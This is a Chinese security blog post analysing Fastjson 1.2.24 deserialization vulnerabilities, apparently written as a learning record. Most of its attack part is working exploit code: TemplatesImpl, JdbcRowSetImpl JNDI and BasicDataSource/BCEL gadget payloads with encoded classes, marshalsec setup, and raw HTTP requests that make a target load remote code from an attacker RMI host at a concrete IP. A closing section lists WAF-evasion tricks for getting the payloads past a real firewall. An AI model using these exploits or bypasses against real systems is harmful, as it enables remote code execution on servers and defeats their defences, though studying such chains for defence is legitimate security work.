0x01 基本使用:
编写一个实体类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.hme.entity;
public class Student { private String name; private int age;
public Student() { System.out.println("构造函数"); }
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getAge() { System.out.println("getAge"); return age; }
public void setAge(int age) { System.out.println("setAge"); this.age = age; } }
|
序列化:
使用JSON.toJSONString(student)
这个方法,可以返回一个json字符串。
如:
1 2 3 4 5
| public static void main(String[] args) { Student student = new Student(23,"张三"); String jsonString = JSON.toJSONString(student); System.out.println(jsonString); }
|
输出结果:

添加了SerializerFeature.WriteClassName
后再次输出,就会多了@type
。

反序列化:
反序列化主要是parse
和parseObject
这两个方法。
parse方法:
1 2 3 4 5
| String str = "{\"@type\":\"com.hme.entity.Student\",\"age\":23,\"name\":\"张三\"}"; System.out.println("========================"); System.out.println("反序列化一:"); Object parse = JSON.parse(str); System.out.println(parse);
|
使用@type
指定类型,然后使用parse
进行反序列化,结果会输出:

总结:
对于parse(json字符串),结果会调用对应的set方法,以及构造函数,并且会调用静态方法,构造代码块。
parseObject方法:
1 2 3 4 5 6 7
| String str = "{\"@type\":\"com.hme.entity.Student\",\"age\":23,\"name\":\"张三\"}"; Object parse = JSON.parse(str); System.out.println(parse); System.out.println("========================"); System.out.println("反序列化二(parseObject):"); JSONObject jsonObject = JSON.parseObject(str); System.out.println(jsonObject);
|
输出结果:

结论:
JSON.parseObject会调用对应的对应的set和get方法,以及构造方法和构造代码块。
如果指定类,如下:
1 2 3
| System.out.println("反序列化三(parseObject + 类):"); Student student = JSON.parseObject(str, Student.class); System.out.println(student);
|
结果:

结论:
使用parseObject(str,类.class)则会直接返回该类的实例,调用构造代码块,构造函数,以及set方法。
Feature.SupportNonPublicField:
如果我们把name的set方法去掉,那么字段不会有结果,输出为null。
因为fastjson就是调用set方法去赋值的,对于我们的私有变量,没有set方法,所以不能直接赋值,而使用了Feature.SupportNonPublicField
后就会调用反射去进行赋值:

总结:
使用fastjson,如果对象的私有变量没有使用编写set方法,fastjson是默认不能进行赋值。而添加了Feature.SupportNonPublicField,可以在没有set方法的条件下进行赋值。
0x02 代码实现流程:
获取key:
在DefaultJSONParser
的parseObject
函数中:

如果当key是JSON.DEFAULT_TYPE_KEY
(常量,是@type)则获取当前@type
的值即json的vale,然后调用TypeUtils
中加载器去加载当前的typeName

加载过程在TypeUtils.loadClass
中
mappings中存在当前这些加载器:

当前传入的加载器在这个map中不存在则继续往下,然后使用当前线程去创建另一个加载器:

然后会把这个加载器放进map中,最终返回。
返回ParseConfig类的getDeserializer中走到最后一步会创建javabean对象。
在parseConfig中最后会调用JavaBeanDeserialize
函数去创建javabean

在createJavaBeanDeserializer
方法中会采用asm技术去操作class,从而去动态生成对象。
JavaBeanInfo
函数中首先会遍历所有的方法获取到对应类型的set方法和get方法,然后去获取字段,主要是获取public,static的字段。
构造poc:
首先需要指定类型,因此使用@type指定序列化的类,这里选用com.sun.rowset.JdbcRowSetImpl
,判断需要调用是get还是set方法,这里选用set方法。

这里toJSON最后才会调用set方法,如果调用get方法,前面可能会出错。
当我们指定字段dataSourceName
就会调用setDataSourceName
方法,如图,将我们的地址传入了:

而setAutoCommit
方法也是一样:

之后会调用connect()方法
在connect方法中会调用getDataSourceName
的方法,而这个DataSourceName参数是可控的,我们可以传入的,因此实现了jndi注入了。

在yakit中开启一个ldap服务,执行命令为calc,如图所示:

从而实现了运行任意命令。
小结:
下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
0x03 TemplatesImpl利用链:
分析以及exp编写:
我们在学TemplatesImpl
中知道它一个内部类TransletClassLoader
的defineClass
方法,调用了ClassLoader
的defineClass
。(这条链是cc3的,也出现在我们的类加载中。)
这条调用链是这样的:
TemplatesImpl#getOutputProperties
–>TemplatesImpl#newTransformer
–> TemplatesImpl#getTransletInstance
–> TemplatesImpl#defineTransletClasses()
–>TemplatesImpl#defineClass()
有个getTransletInstance
和getOutputProperties
正好符合我们的fastjson特性。
而选择getTransletInstance
是调用失败的,因为该类返回的是一个抽象类。

因此选择getOutputProperties
:
这个方法的返回值是Properties
,不是返回的接口。

构造链也很简单:
1 2 3 4 5 6
| { "@type":className, "_bytecodes":evalBytes, "_tfactroy":new TransformerFactoryImpl(), "_name":"Calc", }
|
完整poc如下:
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args) throws Exception { String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; byte[] evilBytes = readFile(); String encode = Base64.getEncoder().encodeToString(evilBytes); String text1 = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + encode + "\"],\"_name\":\"Calc\",\"_tfactory\":{ },\"_outputProperties\":{ },}"; System.out.println(text1); Object o = JSON.parseObject(text1, Object.class, new ParserConfig(), Feature.SupportNonPublicField); }
public static byte[] readFile() throws Exception { return Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); }
|
需要注意的点是_tfactory
传入的值是一个类,然后_bytecodes
传入的是一个byte数组,因此需要使用[]
去包裹。最重要的是我们需要调用getOutputProperties
方法,因此需要对其进行赋值,这个值也是一个类。
疑惑:
疑点1:为什么传入的_bytecodes
要进行base64编码:
在ObjectArrayCodec
中的deserialze
方法中有一个方法是 lexer.bytesValue()
,会对传入的字符串进行base64解码。这个调用是在DefaultJSONParser
的deserializer.deserialze
调用的。

疑点2:为什么需要传入ParserConfig
方法:
其实这个方法有无都一样。
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args) throws Exception { String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; byte[] evilBytes = readFile(); String encode = Base64.getEncoder().encodeToString(evilBytes); String payload = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + encode + "\"],\"_name\":\"Calc\",\"_tfactory\":{ },\"_outputProperties\":{ },}"; System.out.println(payload); Object o = JSON.parseObject(payload,Feature.SupportNonPublicField); }
public static byte[] readFile() throws Exception { return Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); }
|
总结
0x04 JdbcRowSetImpl利用链:
JNDI + RMI:
就是简单的JNDI Reference 的攻击方式。
JdbcRowSetImpl
中有一个setDataSourceName
,用于设置数据源。
生成一个Calc.class
,然后启动一个http服务:

服务端如下:
1 2 3 4 5 6 7 8
| public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("Calc.class", "Calc", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); registry.bind("aa", refObjWrapper); } }
|
exp:
1 2 3 4
| public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/aa\", \"autoCommit\":true}"; Object parse = JSON.parse(payload); }
|
JNDI + LDAP:
还不太会,看师傅的博客:
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)
0x05 BasicDataSource链:
关于BECL:
BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。相较Commons Collections,BCEL被包含在原生JDK中,更容易被利用。
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
在Tomcat中也会存在相关的依赖
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8+:org.apache.tomcat.dbcp.dbcp2.BasicDataSource
com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否是BCEL
开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。
具体可以我的反序列化的类的动态加载那一篇文章。
前面我们使用了JdbcRowSetImpl
和TemplatesImpl
这两条链,其中jdbc那一条使用到了jndi注入,大部分情况下不能实现不出网利用,而TemplatesImpl
这一条链虽然可以传入一个base64编码后的bytes,但是需要服务端开启Feature.SupportNonPublicField
设置,因为它不存在set方法,这两条利用链算是有点苛刻。
但是这里的BasicDataSource
则不一样了,在不出网不开启Feature.SupportNonPublicField
的时候就可以利用这条链。
编写BECL Demo:
Repository
主要是讲这个class生成一个java原生的字节码。
Utility
主要用于讲原生的class进行编码成BECL认识的格式。
这里使用Class.forName
去获取class。
1 2 3
| JavaClass javaClass = Repository.lookupClass(Class.forName("Calc")); String encode = Utility.encode(javaClass.getBytes(),true); System.out.println(encode);
|
还可以使用文件读取的方式,最终也是传入一个bytes给Utility
jin’x
1 2 3
| byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class")); String encode = Utility.encode(bytes,true); System.out.println(encode);
|
如何进行类加载?
导入的是com.sun.org.apache.bcel.internal.util.ClassLoader
1
| new ClassLoader().loadClass("$$BCEL$$" +"$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b$af$b5$5d$HBB$S$9a$W$da$A$z$J$87$e6$c2$zQ$_$a8$95$aa$g$a8$IJ$d5$e3fY$c2$82$b1$91$e3$40$feQ$cf$b9$b4$I$a4$f6$ce$8fB$9du$a34Rj$c93$9e$f7$de$bc$9d$f1$3e$3e$dd$ff$C$b0$87$86$D$hk$O$9e$a3f$e1$85$c9$_9$d696$i$e4$f0$8a$e35G$9d$n$d7$d1$81$8e$df3$a4$h$cd$kCf$3f$3cU$M$cb$9e$O$d4$e1$e8$aa$af$a2$T$d1$f7$J$vz$a1$U$7eOD$da$d4S0$T$9f$eb$nyx$fb$c2$97m$G$ab$p$fd$a9$j$p$ba$ec$5d$88$h$d1$d2a$eb$d3$d1$87$b1T$d7$b1$O$D$92$e5$bb$b1$90$97$H$e2$3a$b1$a1$a1$Y$9cn8$8a$a4$fa$a8$8d$adm$ec$de$99$5e$X$O$9eql$ba$d8$c26$9dG$pH$Xo$f0$96$a1$f4$lo$86Z$82$fa$o$Y$b4$8eGA$ac$af$d4$8c4$5e$3bfC$f2$60$u$fc$T$k$f5$_$94$8c$ZV$Wzi$ae$81$8agE$b9$d1$f4$W4$b4OF$8d$VY$ee4$e6$d8n$i$e9$60$d0$9eo$f8$S$85R$N$87$d4$b06$af$3c9$8f$c2$5b$f3$p$da$cd$k$ea$b0$e8$d6$cc$93$C3$cbSt$a9jQf$94$b3$bb$3f$c1$s$J$9d$a7$98K$c04$96$u$ba$7f$FXF$81$b2$85$95Y$f3$Z$v$MW$bdC$aa$98$fe$81$cc$d7$ef$c8$7f$7e$40$ee$h$b9$f1$df$93$84$b4I$9a$r$a1$b1$ad$d0$971$b7$T$94$Tf$R$e6$cc$8e$c9$T$5eD$89$aaUz9R$kG$d9$s$a2$92LV$fd$D$M$f3$G$J$84$C$A$A").newInstance();
|
因为这个loadClass方法是public,可利用点很大。

主要逻辑是判断是否是以"$$BCEL$$"
开头,如果是则进行loadClass。
1 2 3 4 5 6 7 8 9 10 11
| { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A" } }:"xxx" }
|
fastjson+BECL组合拳:
看exp:
1 2 3 4 5 6
| public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class")); String code = Utility.encode(bytes, true); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(s); }
|
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class")); ClassLoader classLoader = new ClassLoader(); String code = Utility.encode(bytes,true); BasicDataSource basicDataSource = new BasicDataSource(); basicDataSource.setDriverClassLoader(classLoader); basicDataSource.setDriverClassName("$$BCEL$$"+code); basicDataSource.getConnection(); }
|
payload如下:
1 2 3 4 5 6 7
| { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "becl编码的class", "driverClassloader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" } }
|
fastjson就要找get函数,看入口类BasicDataSoure
的get方法,找到getConnection
方法:

跟进createDataSoure
方法里面的createConncetionFactory
方法:

createConncetionFactory
方法里面调用了ConnectionFactoryFactory#createConnectionFactory

查看createDriver
方法,点击调试前,会调用ClassLoader(BECL)

然后会调用getDriverClassName
方法,获取driverClassName,并且获取classloader类加载器:

恶意代码是这一行:

直接调用Class.forName
,正常我们的代码是这样的:
1 2
| ClassLoader classLoader = new ClassLoader(); classLoader.loadClass("$$BCEL$$"+code).newInstance();
|
我们可以尝试跑一下:
1 2 3 4
| byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class")); String code = Utility.encode(bytes, true); ClassLoader driverClassLoader = new ClassLoader(); Class.forName("$$BCEL$$"+code, true, driverClassLoader);
|
效果和上面的一样,Class.forName()
的第二个参数是是否实例化,设置为true则会调用newInstance
方法,第三个参数是加载器。因此这段代码和上面的一样。然后我们观察上面的恶意代码,如果driverClassName
可控,那么就可以实现反序列化了。
driverClassName
是通过调用get方法去获取的,

发现存在set方法,可以使用fastjson进行赋值:

而同理driverClassLoader
也是可控的,
因此构造思路如下:
- 首先@type BasicDataSource这个类,然后对driverClassName进行赋值,设置为我们的becl编码的值
- 同理调用@type BasicDataSource 对driverClassLoader进行赋值,设置为com.sun.org.apache.bcel.internal.util.ClassLoader(tomcat7和8不一样,需要注意。)
- 然后调用主入口BasicDataSource#getConnection方法。
尝试自己构造payload,然后发现这个getConncetion
哪里调用的?
如果使用parse,会发现没有结果。
这里就要使用parseObejct
方法,因为parseObject
方法会调用传入类的所有get方法,那么就会调用getConnection
方法,可以看下面的demo:

因此完整的exp如下:
1 2 3 4 5 6
| public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class")); String code = Utility.encode(bytes, true); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(s); }
|
总结:
BasicDataSoure这条链,在<=1.2.24
版本才适用,在1.2.25
版本后org.apache.tomcat
包设置为了黑名单,不能进行反序列化了。
这条链的主要逻辑是调用java的BECL
,其中的ClassLoader
的loadClass
是public的,并且BasicDataSource
的driverClassLoader
和driverClassName
是可控的,因此才会出现rec。
在这条链中,需要注意tomcat的版本,但只有两个版本,因此都试一下,还有是服务端需要使用parseObject
,而不是使用parse
方法,如果使用parse
方法,不会调用所有get方法,getConncetion方法也不会被调用,这条链就不能执行了。
0x06 fastjson的一些小工具:
marshalsec:
环境配置:
1 2 3 4
| 下载marshalsec: git clone https://github.com/mbechler/marshalsec.git 安装maven: apt-get install maven
|
修改配置文件:
1 2
| cd /usr/share/maven/conf vim settings.xml
|
在mirrors
目录中添加阿里云的镜像:
1 2 3 4 5 6
| <mirror> <id>aliyunmaven</id> <mirrorOf>*</mirrorOf> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> </mirror>
|
在解压目录下编译:
1
| mvn clean package -DskipTests
|
编写class文件:
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("touch /tmp/fastjson"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
编译成class文件:
然后启动一个http服务,在Calc.class
目录下:

运行marshalsec:
1
| java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[vps]/#Calc" 9999
|
表示从vps服务器的80端口上下载Calc
这个文件,并且开了的rmi端口为9999
。
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 159
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
上雷池后会被拦截。

0x07 bypass waf的小技巧:
1. json字段不适用双引号绕过:
1 2 3 4
| public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", dataSourceName:\"rmi://localhost:1099/aa\", \"autoCommit\":true}"; Object parse = JSON.parse(payload); }
|
还是得配合,
进行绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 178
{ "b":{ , , , , , , , , "@type":"com.sun.rowset.JdbcRowSetImpl", dataSourceName:"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
2. 使用,
绕过:
1 2 3 4
| public static void main(String[] args) { String payload = "{,,,,,,,,,,,,\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",,,,,,,,,,,,,,,,,,,,,,,,,, dataSourceName:\"rmi://localhost:1099/aa\", \"autoCommit\":true}"; Object parse = JSON.parse(payload); }
|
查看DefaultJSONParser
:

原理是默认开启了Feature.AllowArbitraryCommas
。
如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 193
{ "b":{ ,,,,,,,,,, "@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,,,,,,,,,,,, "dataSourceName":"rmi://121.37.229.215:9999/Calc",,,,,,,,, "autoCommit":true } }
|
3. 垃圾字符绕过:
1 2 3 4
| public static void main(String[] args) { String payload = "\r\r\b{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",,,,,,,,,,,,,,,,,,,,,,,,,, dataSourceName:\"rmi://localhost:1099/aa\", \b\r\"autoCommit\":true}"; Object parse = JSON.parse(payload); }
|
JSONLexerBase#skipWhitespace
方法:

主要用于将空格
,\r
,\n
,\t
,\f
,\b
去除。
4. @type后的值第一个引号可以替换为其他字符:

这里我们可以对比之前获取@type
的过程,先检验了当前位置是"
再扫描到下一个"
之间的值
1 2 3 4 5 6
| if (ch == '"') { key = lexer.scanSymbol(this.symbolTable, '"'); lexer.skipWhitespace(); ch = lexer.getCurrent();
}
|
因此可以证明是@type后的值第一个引号可以替换为其他字符,因此可以构造payload:
1
| {"@type":?com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:
|
并且第一个字符后面不用双引号。即左边不用双引号+随机一个字符,右边则需要双引号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 150
{ "b":{ "@type":xcom.sun.rowset.JdbcRowSetImpl", dataSourceName:"rmi: "autoCommit":true } }
|
5. unicode/hex编码绕过:
在JSONLexerBase#scanSymbol
方法中:
如果当前字符是\u
或者是\x
都会进行编码操作。

单纯使用unicode编码在雷池中会被检测出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 170
{ "b":{ "\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
尝试混合编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 166
{ "b":{ "\u0040\x74\u0079\x70\u0065":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
没有绕过,但这里也只是测试了雷池,或者可以尝试其他的waf看能不能绕过,通过hex/unicode混合编码。
6. 对字段添加多个下划线或者减号:
1.2.36版本前,在在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
解析字段的key的时候,调用了smartMatch
:

由于存在break,因此_
和-
不能混合使用。
1
| "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"d_a_t_aSourceName\":\"rmi://localhost:1099/aa\",\"autoCommit\":true}";
|
在1.2.36
版本之后,则可以混合使用:

因此可以尝试使用-
和_
对字段进行混淆。
这里测试的是1.2.24
版本,本地可以直接运行,但是不能绕过waf,还是得配合第四点进行绕过,或者添加逗号:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167
{ "b":/*shabi*/{ /*shabi*/"@type":xcom.sun.rowset.JdbcRowSetImpl", "dat____aSourceName":"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
7. 注释绕过:
可以尝试在json字段前后添加注释进行绕过,但是这种方法还是不能直接过waf,还需要配合首字母或者逗号绕过:
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_aSourceName":"rmi://localhost:1099/aa","autoCommit":true}
|
一些waf可能可以,这里配合任意首字母去绕过雷池:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST / HTTP/1.1 Host: 121.37.229.215:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 183
{ "b":{ /*{*/ /*}*/"@type":/*shabiwafwocaonima*/xcom.sun.rowset.JdbcRowSetImpl", "dat____aSourceName":"rmi://121.37.229.215:9999/Calc", "autoCommit":true } }
|
参考:
浅谈Fastjson绕waf (y4tacker.github.io)
Java反序列化Fastjson篇01-FastJson基础 | Drunkbaby’s Blog (drun1baby.top)
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)